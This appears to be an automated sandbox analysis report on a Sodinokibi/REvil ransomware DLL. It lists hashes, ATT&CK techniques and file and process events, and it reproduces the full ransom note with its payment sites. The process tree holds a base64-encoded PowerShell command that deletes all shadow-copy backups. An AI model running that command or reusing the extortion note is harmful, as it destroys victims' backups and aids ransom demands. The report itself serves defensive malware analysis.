sodinokibi | 7afc7a311740da58cb0b7d6c43e28b1ddb6fce9c67614e74902e552b330287b0

Resubmissions

07-08-2024 18:16

240807-wwjlqs1hjm 10

07-08-2024 18:14

240807-wvf48a1grn 10

28-05-2024 08:02

240528-jxc45abh5s 10

Analysis

max time kernel
1365s
max time network
1154s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
07-08-2024 18:16

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General

Target

7c421ca94c441a4b74d364f952f8739c_JaffaCakes118.dll
Size

166KB
MD5

7c421ca94c441a4b74d364f952f8739c
SHA1

e5de78ae8db1aa78e00c1fa1eb5687cd1519843c
SHA256

7afc7a311740da58cb0b7d6c43e28b1ddb6fce9c67614e74902e552b330287b0
SHA512

0eb45486ab306562c267eba5eae7f1b8d6d551b83603d136865c2e1c7c90abb0067effc4a358649846dc89ef37ad9ff266922223f318a631d3f457792f1df4d2
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3QDhqtUczTajkz+XHUU:NJ0BXScFyfC3Hd4ygV6oPHU

Score

10^/10

sodinokibi discovery ransomware

Malware Config

Extracted

Path

C:\Users\x0cc14aq-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension x0cc14aq. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8EA0FA9523497AAF 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/8EA0FA9523497AAF Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: IvMuwDGJy/3Y+hOJOlZHhjP/wG9NGeqNY5Ymku4/1bhwmk/8L/ZvJKHnJ/ea8d61 nGch3VwU4VT0BXGYDT6r0KLgqGbi2cQVWAwetfHz6OYTPq8YpjZeVALIy+Y+icdO TafeTnJ3RowopS7UpkvInxVLD627/OH8XIuBeZrDqyhRP8h13TE8Ddf6Nv6AbUaA by+dsWxqdcmNQZfcqWA2DARUFDyjkvPTH19JvypDzFQVl6nkmcAC/Fx18fxbohUX Esdh3LA8yQCW8zrjZ42n3DVvn3Uad4z2FKXbhe/Wp5B2EEGYStUOGWAKpy2tmDey Kt1pUJKc8NfC3kswh+hs7YZ50/g3lGp6PSXoP9iVNraUcGn9NY0MOwxGfwaR0xMu DT4ONY06cB7Cb3RcBvoWfEuhgHLD/kxzMgihbYEfcJNZLjTmg8pf1PGXuy1w2fNp uRGAwMpYjEOUznVhAqvlwLaRxm92GBU4mpOXtwYGIaC/NaStHhe1q891iZEqvdIB S3yiM1+12DriCbqFVYgN0Wu+HONdmmwnXdGd/KEPldnU5yL6Fo0cWYifYZiDsE2e bMq5CS6mD5cD7xT72gpcW7qGWEONsikLi4olUCoSUeDV8c8gYN/En4DW3pSnMuat nnV5Zt4jvFU+BwCibFtxYYUtXmvIxi1B7JbUJfSqQqajgIr4uF4o5pK/9AxK4nme 3Y3EcelQoDzbZmqTNd/U3KXzn30XDAeU6RVHtaRmXHepggFi1midNzX8vTww0rKX yDlJCTiEIWJk7IV/1HNpAzmr4c1U9wSBI8xxuH1C4vdIqNdtMd+0AbtMwBni9a4a WZYcxpLjyQxZG3hQkinmoaWLNl4p/66P/7oSWorTXSl0/8rrLQZkUbkMbdDCYWpv 80lzQgJqx4cyRyHCaFp/5hznWERvE/Bji2atIbd4KwV1oB2RNi8u8Uf2lXAc5o1f zbCU6ZGx24Uj+JEOm+384rRbCGJdrZFUGqvUZeR34FgZmqIOQx3HklKFEHjPRF8/ B5tSVD8nZi75XUKE9G/6QTcL+hYzxBclUEzNYTRBrtnXyCQUl28H0fgSegcZZGq7 ZYgfy0bfSxJ7Dtz4rSI6ZFiTWi0x3joJU2w1zsFnX7f+VRxBdcYoyEO9YnP7tV3j fKsxHxHBa8n3vbjHiIOa21Rq1EHEgqLlxnWI51xqACJeDRRD+fmfaxOq5zj1Sne7 QxP1wrUxppz4pjGts0nfspPkB20K0GJ+YksO6Y75GWrIwQlZHl+wdhGEwZlOgMOL EY3KG7I3r4Z7+HQsOM1qbD9pf9sgKD6I0YKwFXdhp16OPDcSTX77Ia43+IU99Ncl AoOmquojB5xCEHLJmY8buFG3SKWHFJYTTM5vKBREgP30/5w9u8zMlaBe ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8EA0FA9523497AAF

http://decryptor.cc/8EA0FA9523497AAF

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe

Drops file in Program Files directory 33 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\InitializeExpand.htm	rundll32.exe
File opened for modification	\??\c:\program files\OptimizeSync.ps1xml	rundll32.exe
File opened for modification	\??\c:\program files\TestEdit.MTS	rundll32.exe
File opened for modification	\??\c:\program files\ConfirmBlock.bmp	rundll32.exe
File opened for modification	\??\c:\program files\UnpublishCompress.xls	rundll32.exe
File opened for modification	\??\c:\program files\HideReceive.wvx	rundll32.exe
File opened for modification	\??\c:\program files\SuspendPing.htm	rundll32.exe
File opened for modification	\??\c:\program files\UninstallRedo.M2V	rundll32.exe
File opened for modification	\??\c:\program files\SubmitConvertFrom.i64	rundll32.exe
File opened for modification	\??\c:\program files\ConnectHide.wpl	rundll32.exe
File opened for modification	\??\c:\program files\EditCopy.001	rundll32.exe
File opened for modification	\??\c:\program files\FindRepair.midi	rundll32.exe
File opened for modification	\??\c:\program files\GrantUpdate.png	rundll32.exe
File opened for modification	\??\c:\program files\InitializeUnprotect.ADTS	rundll32.exe
File opened for modification	\??\c:\program files\OpenResume.wmx	rundll32.exe
File opened for modification	\??\c:\program files\PublishResize.png	rundll32.exe
File created	\??\c:\program files (x86)\x0cc14aq-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ReceiveFind.wmx	rundll32.exe
File opened for modification	\??\c:\program files\ReceiveMeasure.dxf	rundll32.exe
File opened for modification	\??\c:\program files\GroupSync.csv	rundll32.exe
File opened for modification	\??\c:\program files\OutUpdate.dwfx	rundll32.exe
File opened for modification	\??\c:\program files\UseDisconnect.ppsm	rundll32.exe
File opened for modification	\??\c:\program files\DisableBackup.emz	rundll32.exe
File opened for modification	\??\c:\program files\UndoStep.mht	rundll32.exe
File opened for modification	\??\c:\program files\UnlockUse.vssx	rundll32.exe
File opened for modification	\??\c:\program files\ImportSkip.asx	rundll32.exe
File opened for modification	\??\c:\program files\DisconnectSuspend.tif	rundll32.exe
File opened for modification	\??\c:\program files\GroupWait.cfg	rundll32.exe
File opened for modification	\??\c:\program files\OptimizeProtect.docx	rundll32.exe
File opened for modification	\??\c:\program files\OutRename.pdf	rundll32.exe
File opened for modification	\??\c:\program files\ResetNew.zip	rundll32.exe
File opened for modification	\??\c:\program files\UpdateCompare.wpl	rundll32.exe
File created	\??\c:\program files\x0cc14aq-readme.txt	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2868	rundll32.exe
2868	rundll32.exe
1040	powershell.exe
1040	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2868	rundll32.exe
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeBackupPrivilege	4092	vssvc.exe
Token: SeRestorePrivilege	4092	vssvc.exe
Token: SeAuditPrivilege	4092	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 2868	2856	rundll32.exe	83
PID 2856 wrote to memory of 2868	2856	rundll32.exe	83
PID 2856 wrote to memory of 2868	2856	rundll32.exe	83
PID 2868 wrote to memory of 1040	2868	rundll32.exe	87
PID 2868 wrote to memory of 1040	2868	rundll32.exe	87

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\7c421ca94c441a4b74d364f952f8739c_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2856
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\7c421ca94c441a4b74d364f952f8739c_JaffaCakes118.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1040

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1508

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4092

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rnnn30nf.bmc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\x0cc14aq-readme.txt

Filesize
6KB

MD5
373de8b43fa037f3d3e2a91e9a8052dd

SHA1
d67d20dfa6f73f9b58706dfc32dfba6ecac159ac

SHA256
dbd2199654006aa68461f31f208663feb7ee5977824176adf0bf605b47a4327c

SHA512
ac64774c53ac88a2f4bb878f91088b9d9a2c312cd0d8d43c5cd94446b8316ff6fc8c56923f711d7d1fb2fec90bd7df192dc1decab363203f7da191b476f8d9a3

Download Submit
memory/1040-0-0x00007FF87A983000-0x00007FF87A985000-memory.dmp

Filesize
8KB

Download
memory/1040-6-0x000001CEFF890000-0x000001CEFF8B2000-memory.dmp

Filesize
136KB

Download
memory/1040-11-0x00007FF87A980000-0x00007FF87B441000-memory.dmp

Filesize
10.8MB

Download
memory/1040-12-0x00007FF87A980000-0x00007FF87B441000-memory.dmp

Filesize
10.8MB

Download
memory/1040-15-0x00007FF87A980000-0x00007FF87B441000-memory.dmp

Filesize
10.8MB

Download